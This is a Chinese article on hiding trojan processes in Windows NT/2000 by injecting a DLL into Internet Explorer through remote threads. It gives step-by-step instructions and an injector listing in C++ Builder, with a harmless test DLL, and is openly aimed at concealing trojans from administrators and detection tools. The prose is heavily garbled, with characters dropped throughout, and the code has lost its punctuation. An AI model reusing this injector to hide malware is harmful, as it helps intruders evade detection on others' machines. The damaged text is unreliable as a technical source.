WindowsNT_2000系统下进程的隐藏


    WindowsNT_2000系统进程隐藏
    摘 进程隐藏直木马程序设计者断探求重技术文采远程线程技术通动态链接库方法较解决问题通远程线程木马作线程隐藏进程中达隐藏目

            
    关键字进程 线程 木马 动态链接库
    木马程序(称门程序)控制运行远程机程序木马程序运行远程机进程隐藏疑家关心焦点

             文分析Windows NT2000系统进程隐藏基技术方法着重讨运线程嫁接技术实现Windows NT2000系统中进程隐藏

            
    1 基原理 WIN9598中需进程注册系统服务够进程查器中隐形切Windows NT2000中完全 木马端口启动文件巧妙隐藏始终躲Windows NT2000务理器Windows NT2000务理器均轻松显示出木马进程难道Windows NT2000木马真法隐藏进程?知道WINDOWS系统执行文件ExeCom文件两种文件运行时点会生成独立进程寻找特定进程发现木马方法着入侵检测软件断发展关联进程SOCKET已成流行技术假设木马运行时检测软件时查出端口进程基认木马隐藏已完全失败

            Windows NT2000正常情况户进程系统理员说见想做木马进程隐藏两办法第系统理员见进程第二进程

            文第二种方法例加讨基原理已木马线程方式嫁接远程进程中远程进程合法户程序样户理者合法进程法发现木马线程存达隐藏目

            
    2 实现方法   弄清实现方法必须首先解Windows系统种执行文件DLL
    DLLDynamic Link Library(动态链接库)缩写DLL文件Windows基础API函数DLL中实现

            DLL文件没程序逻辑功函数构成独立运行般进程加载调

            DLL文件独立运行进程列表中会出现DLL假设编写木马DLL通进程运行入侵检测软件进程列表中会出现进程会出现木马DLL果进程信进程(例浏览器程序IEXPLOREEXE没会怀疑木马吧?)编写DLL作进程部分成信赖员达隐藏目

               运行DLL方法种中隐蔽方法采动态嵌入技术动态嵌入技术指代码嵌入正运行进程中技术

            理说Windows中进程私存空间进程允许私空间进行操作实际然利种种方法进入操作进程私存

            动态嵌入技术种:窗口Hook挂接API远程线程等里介绍远程线程技术基进线程动态链接库知识轻松完成动态嵌入

             远程线程技术指通进程中创建远程线程方法进入进程存址空间

            知道进程中通CreateThread函数创建线程创建新线程线程(进程启动时时动建立线程)享址空间资源

            少知道通CreateRemoteThread样进程创建新线程创建远程线程样享远程进程(远程进程)址空间实际通远程线程进入远程进程存址空间拥远程进程相权限

            
    3 实施步骤 1) Process32Next()函数找宿进程获取宿进程ID OpenProcess()函数开宿进程


             2) VirtualAllocEx()函数分配远程进程址空间中存

             3) WriteProcessMemory()函数隐藏DLL路径名

             4) 拷贝步骤二已分配存中

             5) GetProcAddress()函数获取LoadlibraryA()函数实址(kernel32dll中)

             6) CreateRemoteThread()函数远程进程中创建线程

             7) 调正确LoadlibraryA()函数

             8) 传递步骤二中分配存址

            
    4 具体实例 面C Builder 40环境编写运远程线程技术隐藏木马程序代码: #include #include #include #include 该头文件包涵进程操作API函数 #pragma hdrstop #include Unit1h #pragma package(smart_init) #pragma resource *dfm
    Insisting pszLibFileName存放隐藏DLL文件名 HANDLE hProcessSnapNULL进程快句柄 HANDLE hRemoteProcess远程进程句柄 LPVOID pszLibFileRemote远程进程中分配文件名空间 HMODULE phmd存放kernel32dll句柄 HANDLE hRemoteThread1NULL存放远程线程句柄
    TForm1 *Form1 __fast call TForm1TForm1(TComponent* Owner) TForm(Owner) { } void __fastcall TForm1Button1Click(TObject *Sender) { PROCESSENTRY32 pe32{0} DWORD dwRemoteProcessId hProcessSnapCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS0) 开进程快 if(hProcessSnap(HANDLE)1) { MessageBox(NULLCreateToolhelp32Snapshot failedMB_OK) exit(0) } 失败返回
    pe32dwSizesizeof(PROCESSENTRY32) if(Process32First(hProcessSnap&pe32)) 获取第进程 { do{ AnsiString te tepe32szExeFile if(tePos(iexploreexe)|| tePos(IEXPLOREEXE)) 找宿进程IEXPLOREEXE例 { dwRemoteProcessIdpe32th32ProcessID break } } while(Process32Next(hProcessSnap&pe32))获取进程 } else { MessageBox(NULL取第进程失败MB_OK) exit(0) } hRemoteProcessOpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM _OPERATION|PROCESS_VM_WRITEFALSEdwRemoteProcessId) 开远程进程 pszLibFileNameGetCurrentDir() \\ hidedll 假设hidedll隐藏进程 int cb(1 pszLibFileNameLength())*sizeof(char)计算dll文件名长度 pszLibFileRemote(PWSTR)VirtualAllocEx(hRemoteProcessNULLcb MEM_COMMITPAGE_READWRITE)
    申请存放文件名空间 BOOL ReturnCodeWriteProcessMemory(hRemoteProcess pszLibFileRemote(LPVOID)pszLibFileNamec_str()cbNULL) dll文件名写入申请空间 phmdGetModuleHandle(kernel32dll) LPTHREAD_START_ROUTINE fnStartAddr(LPTHREAD_START_ROUTINE) GetProcAddress(phmdLoadLibraryA) 获取动态链接库函数址 hRemoteThread1CreateRemoteThread(hRemoteProcessNULL0 pfnStartAddrpszLibFileRemote0NULL) 创建远程线程 if(hRemoteThread1NULL) CloseHandle(hRemoteThread1)关闭远程线程 if(hProcessSnapNULL) CloseHandle(hProcessSnap)关闭进程快 }
    该程序编译命名RmtDllexe运行时点击界面钮

             远程嵌入利完成试验hidedll已正常远程线程运行样C Builder40环境编写编译面hidedll作测试:
    #include #include #pragma hdrstop #pragma argsused BOOL WINAPI DllEntryPoint(HINSTANCE hinst unsigned long reason void* lpReserved) { char szProcessId[64] switch(reason) { case DLL_PROCESS_ATTACH {获取前进程ID itoa(GetCurrentProcessId()szProcessId10) MessageBox(NULLszProcessIdRemoteDLLMB_OK) break } default } return TRUE }   RmtDllexe程序hidedll嵌入IEXPLOREEXE进程假设PID1208)该测试DLL弹出1208字样确认框时PS工具    Process ID 1208    C\WINNT\IEXPLOREEXE (0x00400000)    ……    C\WINNT\hidedll (0x100000000)    ……   证明hidedll已IEXPLOREEXE进程正确运行

            面程序头文件编译器动生成未作改动略

             5 结束语 进程隐藏技术方法技术发展相快文仅侧面加讨希通探讨进程隐藏技术更清楚认识时防范利进程隐藏手段非法入侵提供参考文抛砖引玉处诚恳批评指正

            
    参考文献 1 Jeffrey Richter著 王建华张焕生侯丽坤等译 Windows核心编程 机械工业出版社2 K.赖斯夫 H 亨德森著 希图书创作室译 Borland C Builder 实培训教程
    文档香网(httpswwwxiangdangnet)户传

    《香当网》用户分享的内容,不代表《香当网》观点或立场,请自行判断内容的真实性和可靠性!
    该内容是文档的文本内容,更好的格式请下载文档

    下载文档到电脑,查找使用更方便

    文档的实际排版效果,会与网站的显示效果略有不同!!

    需要 2 积分 [ 获取积分 ]

    下载文档

    相关文档

    操作系统课外实践报告Linux进程管理

    操作系统课外实践报告项 目 名 称: Linux 进程管理 所 在 班 级: 软件工程(10.Ne...

    2年前   
    336    0

    操作系统进程管理实验报告

    操作系统进程管理实验报告实验一 进程管理1.实验目的:(1)加深对进程概念的理解,明确进程和程序的区别;(2)进一步认识并发执行的实质;(3)分析进程争用资源的现象,学习解决进程互斥的方法;...

    2年前   
    400    0

    进程调度算法的实现计算机操作系统课程设计

    题目2 进程调度算法的实现2.1 题目的主要研究内容及预期达到的目标(1)设计进程控制块; (2)设计多个进程队列; (3)设计多个进程(≥20); (4)动态生成时间片、执行时间和优先级,...

    3年前   
    594    0

    实施ERP管理系统推动企业信息化进程

    实施ERP管理系统推动企业信息化进程  信息化的方向:企业管理流程再造  信息化工作贯穿于企业发展的全过程,既要继承信息化成果,实现以计算机应用的技术性和普及性为主的阶段目标,又要开创信息化工...

    9年前   
    484    0

    测量实习进程记录

    测量实习进程记录  时间  组长  赵宗元  组别  第八组  组员  张雪、张震、周伟平、朱文超  7月11日  全体组员到实验室领取测量实习所需要的仪器。  在领取完仪器后,全体组员参与对...

    10年前   
    665    0

    毕业实习进程安排

    毕业实习进程安排  为进一步加强毕业实习管理工作,根据学院统一部署,现就管理系电子商务、公共事业管理专  业专科毕业实习计划安排如下:  一、XX-XX学年度第一学期   1、第4周前 完成提...

    9年前   
    685    0

    恒星演化进程

    人类世世代代生活在地球上,千百年来人们一直在思索,我们从何而来,我们为什么存在。随着科技水平的不断发展,人类对于我们这个世界的认识也越来越深刻,越来越清晰。现在我们已经知道,我们生存的地球围绕着...

    4年前   
    1060    0

    ccs总体进程

    2006年2月ccs总体进程工作项目12345678910111213141516171819202122232425262728大纲设计收集资料

    9年前   
    524    0

    2017年作文进程评语

    作文进程评语  文章开头交待得十分清楚,起到总领全文的作用。  观察仔细,叙述时井然有序 。  文章想象合情合理。  对人物的语言、神态、动作等,进行精心细腻的描绘,这是本文的一大特色。  通...

    7年前   
    423    0

    成本与进程管理中文-2.2

     本文档由香当网(https://...

    7年前   
    18333    0

    **县小康进程分析

    **县小康进程分析  **县小康进程分析  党的十六大报告明确指出我们已经胜利实现了现代化建设“三步走”战略的第一步、第二步目标,人民生活总体上实现了由温饱到小康的历史性跨越,十六大的胜利召开...

    10年前   
    543    0

    成本与进程管理中文-2.1

     本文档由香当网(https://...

    12年前   
    5416    0

    县小康进程分析

    县小康进程分析  党的xx大报告明确指出我们已经胜利实现了现代化建设“三步走”战略的第一步、第二步目标,人民生活总体上实现了由温饱到小康的历史性跨越,xx大的胜利召开为新世纪党的社会主义现代化...

    9年前   
    343    0

    招聘进程表

    招聘进程表本文档由香当网(https://www.xiangdang.net)用户上传

    9年前   
    610    0

    德国物流产业的进程

    德国物流产业的进程 产业化是指产业规模不断扩大、效率不断提高、效益不断发掘和对国民经济的影响不断加强的产业向高级、纵深发展的过程。所谓物流产业化, 就是要以社会化物流成本最低化为目的, ...

    8年前   
    11900    0

    模拟进程创建、终止、阻塞、唤醒原语操作系统原理

    操作系统原理 题 目:模拟进程创建、终止、阻塞、唤醒原语院 (部): 管理工程学院专 业: 信息管理与信息系统班 级: 信管姓 名: 学 号: 实验题目一:模拟进...

    3年前   
    564    0

    操作系统实验(进程调度+存储管理+磁盘调度++银行家算法+文件系统设计)

    操作系统实验(进程调度+存储管理+磁盘调度++银行家算法+文件系统设计)实验三 进程调度一、 实验目的多道程序设计中,经常是若干个进程同时处于就绪状态,必须依照某种策略来决定那个进程优先占有处...

    3年前   
    656    0

    城镇建设进程工作报告

    城镇建设进程工作报告  经过30多年的发展,中国已经进入城镇化快速增长时期,XX年全国城镇化率达到46.6%,年均增加0.9个百分点。城镇化已成为中国推进新型工业化、解决就业、扩大内需的重要举...

    12年前   
    628    0

    司法改革的二元进程

    司法改革的二元进程  司法改革的二元进程 ―外部机制与内部机制的双重变革     xx大将“依法治国,建设社会主义法制国家”写入宪法后,围绕“依法治国”对我国目前的司法现状进行深入的改革,已成...

    10年前   
    374    0

    **县小康进程分析—调研报告

    **县小康进程分析—调研报告 **县小康进程分析 党的十六大报告明确指出我们已经胜利实现了现代化建设“三步走”战略的第一步、第二步目标,人民生活总体上实现了由温饱到小康的历史性跨越,十六大的胜...

    9年前   
    441    0